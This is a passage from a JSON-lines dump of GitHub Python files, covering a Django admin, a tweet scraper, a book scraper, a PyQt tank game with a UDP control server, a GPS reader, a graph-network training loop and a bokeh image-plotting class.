obj.save()\n\nadmin.site.register(UserDepartment)\nadmin.site.register(UserSection)\nadmin.site.register(UserProfile)\nadmin.site.register(Documents, DocumentsAdmin)\nadmin.site.register(Accepted)\nadmin.site.register(Comments)\nadmin.site.register(RefDocumentType)\n\n#UserAdmin\nadmin.site.unregister(User)\nadmin.site.register(User, CustomUserAdmin)","repo_name":"rutthawitc/docs_mgmt_pgsql","sub_path":"docsmgmt_project/docsmgmt/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"29989272974","text":"from tkinter import *\nfrom LoginPage import *\nimport socket\n\n\nIP = \"192.168.43.203\"\nPORT = 8181\naddr = (IP, PORT)\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(addr)\n\nroot = Tk()\nroot.title('cclient')\nLoginPage(s, root)\nroot.mainloop()\n","repo_name":"bruceEeZhao/cciot","sub_path":"cclient/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16380154027","text":"import tweepy\nimport credentials\nimport pandas as pd\n\n\nauth = tweepy.OAuthHandler(credentials.consumer_key,\n credentials.consumer_secret)\nauth.set_access_token(credentials.access_token,\n credentials.access_token_secret)\n\napi = tweepy.API(auth)\n\n# This can be used for #s\n# returns dataframe with the info of the tweets\n\n\ndef getTweets(keyWord, nums=10):\n keyWord = keyWord + \" -filter:retweets\" # Filters retweets\n tweets = tweepy.Cursor(api.search,\n q=keyWord, result_type=\"popular\", tweet_mode=\"extended\").items(int(nums)) # only returns 5 tweets, but it can be changed\n # DataFrame with the users (string), the tweet (string), the tweet id (Int64)\n # their location where the tweet was made (coordinates) and if the tweet is sensitive (boolean)\n tweetsList = pd.DataFrame()\n for tweet in tweets:\n print(tweet.full_text)\n tweetElement = [tweet.user.screen_name,\n tweet.full_text, tweet.id]\n try:\n # If the user doesnt share their location\n tweetElement.append(tweet.place.id)\n except:\n tweetElement.append(None)\n try:\n # This field only surfaces when a Tweet contains a link\n tweetElement.append(tweet.possibly_sensitive)\n except:\n tweetElement.append(None)\n tweet_serie = pd.Series({\"user\": tweetElement[0],\n \"tweet\": tweetElement[1],\n \"tweetID\": tweetElement[2],\n \"location\": tweetElement[3],\n \"sensitive\": tweetElement[4]})\n tweetsList = tweetsList.append(tweet_serie, ignore_index=True)\n return tweetsList\n\n# function to get the text of each tweet for the other api we are using\n# returns list with the texts of wach tweet\n\n\ndef get_tweets_user(tweetsList):\n users = tweetsList[\"user\"]\n user_list = []\n\n for user in users:\n user_list.append(user)\n\n return user_list\n\n\ndef getTweetsText(tweetsList):\n texts = tweetsList[\"tweet\"]\n\n textList = []\n links = []\n for text in texts:\n data = text.split(\"https://\") # Separates the urls\n textList.append(data[0])\n return textList\n\n# function that changes the data frame to a json\n\n\ndef getJson(tweetList):\n json = tweetList.to_json()\n return json\n\n# funtion to generate dataset\n\n\ndef getTweet(id):\n tweet = api.get_status(id)\n text = tweet.text\n data = text.split(\"https://\")\n return data[0]\n\n\n\n# print(getTweets(\"74.125.19.104\"))\n# print(getTweets(\"#cats\"))\n# print(getTweetsText(getTweets(\"#cats\")))\n# print(getJson(getTweets(\"#cats\")))\n","repo_name":"zhaovan/twitter-hackathon","sub_path":"get_tweets.py","file_name":"get_tweets.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31144609084","text":"'''\nMelhore o jogo do EXERCÍCIO 028 onde o computador vai \"pensar\" em um número entre 0 e 10.\nSó que agora o jogador vai tentar adivinhar até acertar, mostrando no final quantos\npalpites foram necessários para vencer.\n\nImprove the EXERCISE 028 game where the computer will \"think\" of a number between 0 and 10.\nOnly now the player will try to guess until he gets it right, showing at the end how many\nguesses were needed to win.\n'''\nfrom random import randint\nsorteio = randint(0,10)\nprint('Tente advinhar um número entre 0 e 10...')\nacertou = False\npalpites = 0\nwhile not acertou:\n jogador = int(input('Qual é seu palpite? '))\n palpites += 1\n if jogador == sorteio:\n acertou = True\n else:\n if jogador < sorteio:\n print('O número é maior, tente mais uma vez')\n elif jogador > sorteio:\n print('O número é menor, tente mais uma vez')\nprint(f'O número é {sorteio}. Acertou com {palpites} tentativas. Parabéns!')","repo_name":"adrielnardi/exercises-python3","sub_path":"python3-curso-em-video/Mundo 02/ex058.py","file_name":"ex058.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"74290789953","text":"from pprint import pprint\n\nimport requests\nfrom Color_Console import ctext\nfrom bs4 import BeautifulSoup\n\nfrom modules.book_actions import scrape_a_book_and_hydrate_csv\n\n\ndef get_books_url_from_category_url(category_url: str):\n books_links_to_scrape = []\n\n response = requests.get(category_url)\n\n # example URL :\n # http://books.toscrape.com/catalogue/category/books/add-a-comment_18/index.html\n if response.ok:\n\n def get_page_books():\n soup = BeautifulSoup(response.content, \"lxml\")\n page_books_link = soup.select('section div ol li h3 a')\n for book_link in page_books_link:\n book_uri = book_link.get(\"href\").replace('../../..', '')\n book_url = \"http://books.toscrape.com/catalogue\" + book_uri\n books_links_to_scrape.append(book_url)\n return books_links_to_scrape\n\n books_url = get_page_books()\n\n else:\n print(\"Erreur de requête\", response)\n return False\n\n return books_url\n\n\ndef get_category_next_page(category_url: str):\n response = requests.get(category_url)\n if response.ok:\n def get_category_url_name():\n pos = category_url.rfind(\"/\") + 1\n category_url_name = category_url[:pos]\n return category_url_name\n\n soup = BeautifulSoup(response.content, \"lxml\")\n next_page = soup.select(\".next a\")\n\n if len(next_page) > 0:\n next_page_uri = next_page[0].get(\"href\")\n next_page_url = str(get_category_url_name()) + next_page_uri\n return next_page_url\n\n else:\n return False\n\n\ndef scrape_category(first_category_page, site_url=\"http://books.toscrape.com\"):\n page_to_scrape = first_category_page\n pre_books_to_scrape = []\n books_to_scrape = []\n while True:\n ctext(\"Category page book list\", \"yellow\")\n category_books = get_books_url_from_category_url(page_to_scrape)\n pprint(category_books)\n ctext(\"Next category page\", \"yellow\")\n page_to_scrape = get_category_next_page(page_to_scrape)\n print(page_to_scrape)\n pre_books_to_scrape.append(category_books)\n if not page_to_scrape:\n break\n\n for book_list in pre_books_to_scrape:\n for book in book_list:\n books_to_scrape.append(book)\n ctext(\"Full Book list from category to scrape :\", \"green\")\n pprint(books_to_scrape)\n ctext(f\"there are {len(books_to_scrape)} books to scrape\", 'green')\n\n for book_to_scrape in books_to_scrape:\n scrape_a_book_and_hydrate_csv(book_to_scrape, site_url)\n\n ctext(\"Done\")\n","repo_name":"FrancoisQUI/P2-00-Projet","sub_path":"modules/category_actions.py","file_name":"category_actions.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"4045419893","text":"from PyQt5 import QtWidgets\nfrom PyQt5 import QtCore\n\nfrom battle_field.items import personage\nfrom battle_field.items import obstacle\nfrom PyQt5 import QtNetwork\nimport json\nimport logging \n\nLOG = logging.getLogger(__name__)\n\nclass SceneWrapper(QtWidgets.QGraphicsScene):\n\n pers_count_maximum = 0\n obstackles_count_maximum = 20\n safety_objects_distance = 100\n\n # define buttons\n up = 16777235\n down = 16777237\n left = 16777234\n right = 16777236\n space = 32\n cntrl = 16777249\n alt = 16777251\n\n port = 7755\n\n def __init__(self, *xxx, **kwargs):\n QtWidgets.QGraphicsScene.__init__(self, *xxx, **kwargs)\n self.setSceneRect(-1000, -1000, 2000, 2000)\n # small test scene\n # self.setSceneRect(-500, -500, 1000, 1000)\n self.setItemIndexMethod(QtWidgets.QGraphicsScene.NoIndex)\n\n # create timer\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.timerEvent)\n self.dt = 1.0 / 30.0\n self.timer.start(self.dt * 1000)\n self.time = QtCore.QTime()\n self.time.start()\n # self.create_test_scene()\n\n # create obstacle.Obstacles\n for i in range(self.obstackles_count_maximum):\n pos_x = -1000 + QtCore.qrand() % 2000\n pos_y = -1000 + QtCore.qrand() % 2000\n pos = QtCore.QPointF(pos_x, pos_y)\n angle = 0\n self.addItem(obstacle.Obstacle(self, pos, 0))\n\n # create personage.Personages objects (do not collide with obstackles!)\n for i in range(self.pers_count_maximum):\n pos_x = QtCore.qrand() % 1000\n pos_y = QtCore.qrand() % 1000\n pos = QtCore.QPointF(pos_x, pos_y)\n angle = QtCore.qrand() % 360\n self.addItem(personage.Personage(self, pos, angle))\n\n self.my_personage = personage.Personage(\n self, QtCore.QPointF(500, -900), 0, False)\n self.addItem(self.my_personage)\n\n # generate obstacle.Obstacles at battle_field\n pers_count_current = 0\n while (pers_count_current < self.pers_count_maximum):\n # generate random point\n pos_x = -1000 + QtCore.qrand() % 2000\n pos_y = -1000 + QtCore.qrand() % 2000\n pos = QtCore.QPointF(pos_x, pos_y)\n angle = 0 # QtCore.qrand() % 360\n # check that we don't collide with other tanks positions\n # and obstackles positions\n left_up_corner = QtCore.QPointF(\n pos_x - self.safety_objects_distance,\n pos_y - self.safety_objects_distance)\n right_down_corner = QtCore.QPointF(\n pos_x + self.safety_objects_distance,\n pos_y + self.safety_objects_distance)\n safety_rect = QtCore.QRectF(left_up_corner, right_down_corner)\n permission_flag = True\n for item in self.items(safety_rect):\n if (isinstance(item, personage.Personage) or\n isinstance(item, obstacle.Obstacle)):\n permission_flag = False\n break\n if (permission_flag is True):\n self.addItem(personage.Personage(self, pos, angle))\n pers_count_current += 1\n\n self.init_server()\n\n def init_server(self):\n self.udp_socket = QtNetwork.QUdpSocket()\n self.udp_socket.bind(QtNetwork.QHostAddress.AnyIPv4, self.port);\n self.udp_socket.readyRead.connect(self.read_pending_datagrams)\n\n self.personages = {0: self.my_personage}\n self.personage_index = 1\n\n def read_pending_datagrams(self):\n # print('read_pending_datagrams')\n while (self.udp_socket.hasPendingDatagrams()):\n datagram = self.udp_socket.receiveDatagram()\n self.handle_request(datagram);\n\n def handle_request(self, datagram):\n try:\n data = json.loads(datagram.data().data().decode())\n res = {}\n if data['cmd'] == 'create_personage':\n cur_personage = personage.Personage(\n self, QtCore.QPointF(\n data['data']['pos'][0],\n data['data']['pos'][1]),\n 0, False)\n self.personages[self.personage_index] = cur_personage\n self.addItem(cur_personage)\n res = {'data':{'id': self.personage_index}}\n self.personage_index += 1\n elif data['cmd'] == 'delete_personage':\n if data['data']['id'] not in self.personages or data['data']['id'] == 0:\n res = {'error':'personage_not_exit'}\n else:\n self.removeItem(self.personages[data['data']['id']])\n del self.personages[data['data']['id']]\n elif data['cmd'] == 'increase_speed':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].increase_speed()\n elif data['cmd'] == 'reduce_speed':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].reduce_speed()\n elif data['cmd'] == 'reduce_angle':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].reduce_angle()\n elif data['cmd'] == 'increase_angle':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].increase_angle()\n elif data['cmd'] == 'reduce_rotation_speed':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].reduce_rotation_speed()\n elif data['cmd'] == 'increase_rotation_speed':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].increase_rotation_speed()\n elif data['cmd'] == 'create_bullet':\n if data['data']['id'] not in self.personages:\n res = {'error':'personage_not_exit'}\n else:\n self.personages[data['data']['id']].tower.create_bullet()\n\n self.udp_socket.writeDatagram(json.dumps(res).encode(), datagram.senderAddress(), datagram.senderPort())\n except json.decoder.JSONDecodeError as e:\n LOG.exception(e)\n self.udp_socket.writeDatagram(\n json.dumps({'error':str(e)}).encode(),\n datagram.senderAddress(),\n datagram.senderPort())\n\n # check by timer that we have enough tanks on battle\n def timerEvent(self):\n for item in self.items():\n item.update()\n if len(self.items()) < self.pers_count_maximum:\n pos_x = -1000 + QtCore.qrand() % 2000\n pos_y = -1000 + QtCore.qrand() % 2000\n pos = QtCore.QPointF(pos_x, pos_y)\n angle = QtCore.qrand() % 360\n self.addItem(personage.Personage(self, pos, angle))\n\n def eventFilter(self, object, event):\n if event.type() == QtCore.QEvent.KeyPress:\n if event.key() == self.left:\n self.my_personage.reduce_angle()\n elif event.key() == self.right:\n self.my_personage.increase_angle()\n elif event.key() == self.up:\n self.my_personage.increase_speed()\n elif event.key() == self.down:\n self.my_personage.reduce_speed()\n elif event.key() == self.cntrl:\n self.my_personage.tower.reduce_rotation_speed()\n elif event.key() == self.alt:\n self.my_personage.tower.increase_rotation_speed()\n elif event.key() == self.space:\n self.my_personage.tower.create_bullet()\n # print(event.key())\n return True\n else:\n return QtWidgets.QGraphicsScene.eventFilter(self, object, event)\n\n def create_test_scene(self):\n self.my_personage = personage.Personage(\n self, QtCore.QPointF(0, 0), 0, False)\n self.addItem(self.my_personage)\n Obstacle_1 = obstacle.Obstacle(\n self, QtCore.QPointF(100, 10), 0)\n Obstacle_2 = obstacle.Obstacle(\n self, QtCore.QPointF(330, -10), 0)\n Obstacle_3 = obstacle.Obstacle(\n self, QtCore.QPointF(330, -100), 0)\n self.addItem(Obstacle_1)\n self.addItem(Obstacle_2)\n self.addItem(Obstacle_3)\n Obstacle_1.setVisible(True)\n Obstacle_2.setVisible(True)\n Obstacle_3.setVisible(True)\n","repo_name":"AlexLexx706/battle_field","sub_path":"battle_field/scene_wrapper.py","file_name":"scene_wrapper.py","file_ext":"py","file_size_in_byte":9068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"}
+{"seq_id":"9959726658","text":"import rclpy\nfrom rclpy.node import Node\nfrom std_srvs.srv import Trigger\n\nclass Abort_cycle(Node):\n\n def __init__(self):\n super().__init__('abort_cycle')\n self.server = self.create_service(Trigger, 'abort_cycle', self.callback)\n\n def callback(self, request, response):\n self.get_logger().info(\"El servicio abort_cycle fue activado.\")\n response.success = True\n response.message = \"El servicio abort_cycle ha fracasado\"\n return response\n\ndef main(args=None):\n rclpy.init(args=args)\n server_node = Abort_cycle()\n rclpy.spin(server_node)\n rclpy.shutdown()\n\nif __name__ == '__main__':\n main()","repo_name":"mbflores3/test_tecnico","sub_path":"abortCycle.py","file_name":"abortCycle.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"25665896845","text":"import serial\nimport pynmea2\nimport json\n\n\"\"\" \nGPS Precision by decimal places\n\ndecimal |\nplaces | degrees | distance\n0\t 1.0\t 111 km\n1\t 0.1\t 11.1 km\n2\t 0.01\t 1.11 km\n3\t 0.001\t 111 m\n4\t 0.0001\t 11.1 m\n5\t 0.00001\t 1.11 m (We use this for this application)\n6\t 0.000001\t 0.111 m\n7\t 0.0000001\t 1.11 cm\n8\t 0.00000001\t 1.11 mm\n\"\"\"\n\nprecision = 5\ncounter = 0\nlat = 0\nlng = 0\n\njsonFile = {\n \"lat\": 0,\n \"lng\": 0,\n}\n\nwhile True:\n port='/dev/serial0'\n ser=serial.Serial(port, baudrate=9600, timeout=0.5)\n dataout = pynmea2.NMEAStreamReader()\n newdata=ser.readline().decode()\n if newdata[0:6] == '$GPRMC':\n # Receiving data every second\n newmsg = pynmea2.parse(newdata)\n # Average of 5 measurements\n if counter ==5:\n jsonFile[\"lat\"] = round(lat/5,precision)\n jsonFile[\"lng\"] = round(lng/5,precision)\n lat = jsonFile[\"lat\"] \n lng = jsonFile[\"lng\"]\n gps = 'Latitude= ' + str(lat) + ' and Longitude= ' + str(lng)\n #print(gps)\n with open(\"opencvDNN/Gps/gps.json\", \"w\") as outfile:\n json.dump(jsonFile, outfile) \n lat= 0\n lng = 0\n counter = 0\n elif (newmsg.latitude==0.0 or newmsg.longitude ==0.0):\n # Avoiding failed values\n continue\n else:\n lat +=newmsg.latitude\n lng +=newmsg.longitude\n counter+=1","repo_name":"altaga/Open-Driving-Monitor","sub_path":"RPi Deploy/Gps/gps.py","file_name":"gps.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"18603275006","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 3 17:34:24 2023\n\n@author: AmayaGS\n\"\"\"\n\nimport time\nimport os, os.path\nos.environ[\"CUDA_LAUNCH_BLOCKING\"] = \"1\"\n\nimport numpy as np\n\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfrom sklearn.preprocessing import label_binarize\nfrom sklearn.metrics import auc as calc_auc\n\nimport torch\n\nfrom auxiliary_functions import Accuracy_Logger\n\nuse_gpu = torch.cuda.is_available()\nif use_gpu:\n print(\"Using CUDA\")\n\nimport gc\ngc.enable()\n\ndef train_graph_multi_wsi(graph_net, train_loader, test_loader, loss_fn, optimizer, n_classes, num_epochs=1, checkpoint=True, checkpoint_path=\"PATH_checkpoints\"):\n\n\n since = time.time()\n best_acc = 0.\n best_AUC = 0.\n\n results_dict = {}\n\n train_loss_list = []\n train_accuracy_list = []\n #train_auc_list = []\n\n val_loss_list = []\n val_accuracy_list = []\n val_auc_list = []\n\n for epoch in range(num_epochs):\n\n ##################################\n # TRAIN\n acc_logger = Accuracy_Logger(n_classes=n_classes)\n train_loss = 0\n train_acc = 0\n train_count = 0\n graph_net.train()\n\n print(\"Epoch {}/{}\".format(epoch, num_epochs), flush=True)\n print('-' * 10)\n\n for batch_idx, (patient_ID, graph_object) in enumerate(train_loader.dataset.items()):\n\n data, label = graph_object\n\n if use_gpu:\n data, label = data.cuda(), label.cuda()\n else:\n data, label = data, label\n\n logits, Y_prob = graph_net(data)\n Y_hat = Y_prob.argmax(dim=1)\n acc_logger.log(Y_hat, label)\n loss = loss_fn(logits, label)\n train_loss += loss.item()\n\n train_acc += torch.sum(Y_hat == label.data)\n train_count += 1\n\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n\n del data, logits, Y_prob, Y_hat\n gc.collect()\n\n total_loss = train_loss / train_count\n train_accuracy = train_acc / train_count\n\n train_loss_list.append(total_loss)\n train_accuracy_list.append(train_accuracy.item())\n\n print()\n print('Epoch: {}, train_loss: {:.4f}, train_accuracy: {:.4f}'.format(epoch, total_loss, train_accuracy))\n for i in range(n_classes):\n acc, correct, count = acc_logger.get_summary(i)\n print('class {}: acc {}, correct {}/{}'.format(i, acc, correct, count), flush=True)\n\n ################################\n # TEST/EVAL\n graph_net.eval()\n\n val_acc_logger = Accuracy_Logger(n_classes)\n val_loss = 0.\n val_acc = 0\n val_count = 0\n\n prob = []\n labels = []\n\n for batch_idx, (patient_ID, graph_object) in enumerate(test_loader.dataset.items()):\n\n data, label = graph_object\n\n with torch.no_grad():\n if use_gpu:\n data, label = data.cuda(), label.cuda()\n else:\n data, label = data, label\n\n logits, Y_prob = graph_net(data)\n Y_hat = Y_prob.argmax(dim=1)\n val_acc_logger.log(Y_hat, label)\n\n val_acc += torch.sum(Y_hat == label.data)\n val_count += 1\n\n loss = loss_fn(logits, label)\n val_loss += loss.item()\n\n prob.append(Y_prob.detach().to('cpu').numpy())\n labels.append(label.item())\n\n del data, logits, Y_prob, Y_hat\n gc.collect()\n\n val_loss /= val_count\n val_accuracy = val_acc / val_count\n\n val_loss_list.append(val_loss)\n val_accuracy_list.append(val_accuracy.item())\n\n if n_classes == 2:\n prob = np.stack(prob, axis=1)[0]\n val_auc = roc_auc_score(labels, prob[:, 1])\n aucs = []\n else:\n aucs = []\n binary_labels = label_binarize(labels, classes=[i for i in range(n_classes)])\n prob = np.stack(prob, axis=1)[0]\n for class_idx in range(n_classes):\n if class_idx in labels:\n fpr, tpr, _ = roc_curve(binary_labels[:, class_idx], prob[:, class_idx])\n aucs.append(calc_auc(fpr, tpr))\n else:\n aucs.append(float('nan'))\n\n val_auc = np.nanmean(np.array(aucs))\n\n val_auc_list.append(val_auc)\n\n conf_matrix = confusion_matrix(labels, np.argmax(prob, axis=1))\n\n print('\\nVal Set, val_loss: {:.4f}, AUC: {:.4f}, Accuracy: {:.4f}'.format(val_loss, val_auc, val_accuracy), flush=True)\n\n print(conf_matrix)\n\n if n_classes == 2:\n sensitivity = conf_matrix[1,1] / (conf_matrix[1,1] + conf_matrix[1,0]) # TP / (TP + FN)\n specificity = conf_matrix[0,0] / (conf_matrix[0,0] + conf_matrix[0,1])\n print('Sensitivity: ', sensitivity)\n print('Specificity: ', specificity)\n\n if val_accuracy >= best_acc:\n # if val_auc >= best_AUC:\n best_acc = val_accuracy\n # best_AUC = val_auc\n\n if checkpoint:\n checkpoint_weights = checkpoint_path + str(epoch) + \".pth\"\n torch.save(graph_net.state_dict(), checkpoint_weights)\n\n elapsed_time = time.time() - since\n\n print()\n print(\"Training completed in {:.0f}m {:.0f}s\".format(elapsed_time // 60, elapsed_time % 60))\n\n if checkpoint:\n graph_net.load_state_dict(torch.load(checkpoint_weights), strict=True)\n\n results_dict = {'train_loss': train_loss_list,\n 'val_loss': val_loss_list,\n 'train_accuracy': train_accuracy_list,\n 'val_accuracy': val_accuracy_list,\n 'val_auc': val_auc_list\n }\n\n return graph_net, results_dict\n\n\n# TEST\n\ndef test_graph_multi_wsi(graph_net, test_loader, loss_fn, n_classes=2):\n\n since = time.time()\n\n test_acc_logger = Accuracy_Logger(n_classes)\n test_loss = 0.\n test_acc = 0\n test_count = 0\n\n prob = []\n labels = []\n test_loss_list = []\n test_accuracy_list = []\n test_auc_list = []\n\n graph_net.eval()\n\n for batch_idx, (patient_ID, graph_object) in enumerate(test_loader.dataset.items()):\n\n data, label = graph_object\n\n with torch.no_grad():\n if use_gpu:\n data, label = data.cuda(), label.cuda()\n else:\n data, label = data, label\n\n logits, Y_prob = graph_net(data)\n Y_hat = Y_prob.argmax(dim=1)\n test_acc_logger.log(Y_hat, label)\n\n test_acc += torch.sum(Y_hat == label.data)\n test_count += 1\n\n loss = loss_fn(logits, label)\n test_loss += loss.item()\n\n prob.append(Y_prob.detach().to('cpu').numpy())\n labels.append(label.item())\n\n del data, logits, Y_prob, Y_hat\n gc.collect()\n\n test_loss /= test_count\n test_accuracy = test_acc / test_count\n\n test_loss_list.append(test_loss)\n test_accuracy_list.append(test_accuracy.item())\n\n if n_classes == 2:\n prob = np.stack(prob, axis=1)[0]\n test_auc = roc_auc_score(labels, prob[:, 1])\n aucs = []\n else:\n aucs = []\n binary_labels = label_binarize(labels, classes=[i for i in range(n_classes)])\n prob = np.stack(prob, axis=1)[0]\n for class_idx in range(n_classes):\n if class_idx in labels:\n fpr, tpr, _ = roc_curve(binary_labels[:, class_idx], prob[:, class_idx])\n aucs.append(calc_auc(fpr, tpr))\n else:\n aucs.append(float('nan'))\n\n test_auc = np.nanmean(np.array(aucs))\n\n test_auc_list.append(test_auc)\n\n conf_matrix = confusion_matrix(labels, np.argmax(prob, axis=1))\n\n print('\\nVal Set, val_loss: {:.4f}, AUC: {:.4f}, Accuracy: {:.4f}'.format(test_loss, test_auc, test_accuracy), flush=True)\n\n print(conf_matrix)\n\n if n_classes == 2:\n sensitivity = conf_matrix[1,1] / (conf_matrix[1,1] + conf_matrix[1,0]) # TP / (TP + FN)\n specificity = conf_matrix[0,0] / (conf_matrix[0,0] + conf_matrix[0,1])\n print('Sensitivity: ', sensitivity)\n print('Specificity: ', specificity)\n\n elapsed_time = time.time() - since\n\n print()\n print(\"Testing completed in {:.0f}m {:.0f}s\".format(elapsed_time // 60, elapsed_time % 60))\n\n return labels, prob, conf_matrix, sensitivity, specificity","repo_name":"AmayaGS/MUSTANG","sub_path":"graph_train_loop.py","file_name":"graph_train_loop.py","file_ext":"py","file_size_in_byte":8454,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"}
+{"seq_id":"32096680782","text":"\"\"\"Image.\"\"\"\nimport numpy as np\nfrom bokeh.models import BasicTicker, BoxZoomTool, ColorBar, ColumnDataSource, HoverTool, Range1d\nfrom bokeh.plotting import figure\n\nfrom plotski.base import Plot\nfrom plotski.utilities import calculate_aspect_ratio\n\n\nclass PlotImageBase(Plot):\n \"\"\"Basic heatmap plot.\"\"\"\n\n # Data attributes\n DATA_KEYS = (\"image\", \"x\", \"y\", \"dw\", \"dh\")\n ACTIVE_DRAG = None\n TOOLS = None\n\n def __init__(\n self,\n output_dir: str,\n source: ColumnDataSource,\n x_axis_label: str = \"\",\n y_axis_label: str = \"\",\n title: str = \"Heatmap\",\n plot_type: str = \"heatmap\",\n initialize: bool = True,\n **kwargs,\n ):\n self.ACTIVE_DRAG = BoxZoomTool(match_aspect=True)\n self.TOOLS = (\"pan, crosshair, reset\", self.ACTIVE_DRAG)\n Plot.__init__(\n self,\n output_dir,\n source,\n x_axis_label,\n y_axis_label,\n title=title,\n plot_type=plot_type,\n initilize=initialize,\n **kwargs,\n )\n\n def plot(self):\n \"\"\"Main plotting function.\"\"\"\n raise NotImplementedError(\"Must implement method\")\n\n def get_figure(self):\n \"\"\"Get figure.\"\"\"\n return figure(\n tools=self.kwargs[\"tools\"],\n active_drag=self.kwargs[\"active_drag\"],\n x_range=self.kwargs.get(\"x_range\", Range1d()),\n y_range=self.kwargs.get(\"y_range\", Range1d()),\n )\n\n def initialize_options(self):\n \"\"\"Setup few options.\"\"\"\n from plotski.utilities import convert_colormap_to_mapper\n\n # setup some common options if the user has not specified them\n if \"cmap\" not in self.kwargs:\n self.kwargs[\"cmap\"] = \"viridis\"\n\n self.kwargs[\"palette\"], self.kwargs[\"colormapper\"] = convert_colormap_to_mapper(\n self.source.data[\"image\"][0],\n self.kwargs[\"cmap\"],\n z_min=self.kwargs.get(\"z_min\", None),\n z_max=self.kwargs.get(\"z_max\", None),\n )\n super().initialize_options()\n\n def set_hover(self):\n \"\"\"Set hover.\"\"\"\n self.figure.add_tools(\n HoverTool(\n show_arrow=True,\n tooltips=[(\"x, y\", \"$x{0.00}, $y{0.00}\"), (self.kwargs.get(\"hover_label\", \"intensity\"), \"@image\")],\n )\n )\n\n def set_ranges(self, **kwargs):\n \"\"\"Set ranges.\"\"\"\n self.figure.xaxis.axis_label_text_baseline = \"bottom\"\n\n # update x/y ranges\n src = self.source.data\n if \"x_range\" not in self.kwargs:\n self.figure.x_range.update(start=0, end=src[\"image\"][0].shape[1])\n if \"y_range\" not in self.kwargs:\n self.figure.y_range.update(start=0, end=src[\"image\"][0].shape[0])\n # x_range = self.kwargs.get(\"x_range\", None)\n # if x_range is None:\n # x_range = (0, src[\"image\"][0].shape[1])\n # self.figure.x_range = Range1d(*x_range) if isinstance(x_range, ty.Iterable) else x_range\n # y_range = self.kwargs.get(\"y_range\", None)\n # if y_range is None:\n # y_range = (0, src[\"image\"][0].shape[0])\n # self.figure.y_range = Range1d(*y_range) if isinstance(y_range, ty.Iterable) else y_range\n\n def set_figure_dimensions(self):\n \"\"\"Set figure dimensions.\"\"\"\n width = self.kwargs.get(\"width\", 600)\n height, width = calculate_aspect_ratio(self.source.data[\"image\"][0].shape, width)\n if height > 600:\n _ratio = 600 / height\n height = 600\n width = int(width * _ratio)\n self.figure.width = self.kwargs.get(\"width\", width)\n self.figure.height = self.kwargs.get(\"height\", height)\n\n def check_data_source(self):\n \"\"\"Ensure that each field in the data source is correct.\"\"\"\n if \"image\" not in self.source.data:\n raise ValueError(\"Missing field 'image' in the ColumnDataSource\")\n if \"image\" in self.source.data:\n if not isinstance(self.source.data[\"image\"], list) and len(self.source.data[\"image\"]) > 1:\n raise ValueError(\"Field 'image' is incorrectly set in ColumnDataSource\")\n if \"x\" not in self.source.data:\n self.source.data[\"x\"] = [0]\n if \"y\" not in self.source.data:\n self.source.data[\"y\"] = [0]\n if \"dw\" not in self.source.data:\n self.source.data[\"dw\"] = [self.source.data[\"image\"][0].shape[1]]\n if \"dh\" not in self.source.data:\n self.source.data[\"dh\"] = [self.source.data[\"image\"][0].shape[0]]\n super().check_data_source()\n\n\nclass PlotImage(PlotImageBase):\n \"\"\"Image class.\"\"\"\n\n def __init__(self, output_dir: str, source: ColumnDataSource, title=\"Image\", **kwargs):\n PlotImageBase.__init__(self, output_dir, source=source, title=title, plot_type=\"image\", **kwargs)\n\n def plot(self):\n \"\"\"Plot image.\"\"\"\n self.plots[\"image\"] = self.figure.image(\n x=\"x\",\n y=\"y\",\n dw=\"dw\",\n dh=\"dh\",\n image=\"image\",\n source=self.source,\n palette=self.kwargs[\"palette\"],\n name=\"image\",\n )\n self.plots[\"image\"].glyph.color_mapper = self.kwargs[\"colormapper\"]\n\n def add_colorbar(self):\n \"\"\"Add colorbar.\"\"\"\n color_bar = ColorBar(\n color_mapper=self.kwargs[\"colormapper\"],\n ticker=BasicTicker(),\n location=(0, 0),\n major_label_text_font_size=\"10pt\",\n label_standoff=8,\n )\n self.figure.add_layout(color_bar, \"right\")\n\n def set_options(self):\n \"\"\"Set options.\"\"\"\n if self.kwargs.get(\"add_colorbar\", False):\n self.add_colorbar()\n\n\nclass PlotImageRGBA(PlotImageBase):\n \"\"\"RGB Image class.\"\"\"\n\n def __init__(self, output_dir: str, source: ColumnDataSource, title=\"Image-RGBA\", **kwargs):\n PlotImageBase.__init__(self, output_dir, source=source, title=title, plot_type=\"rgba\", **kwargs)\n\n def plot(self):\n \"\"\"Main plotting method.\"\"\"\n 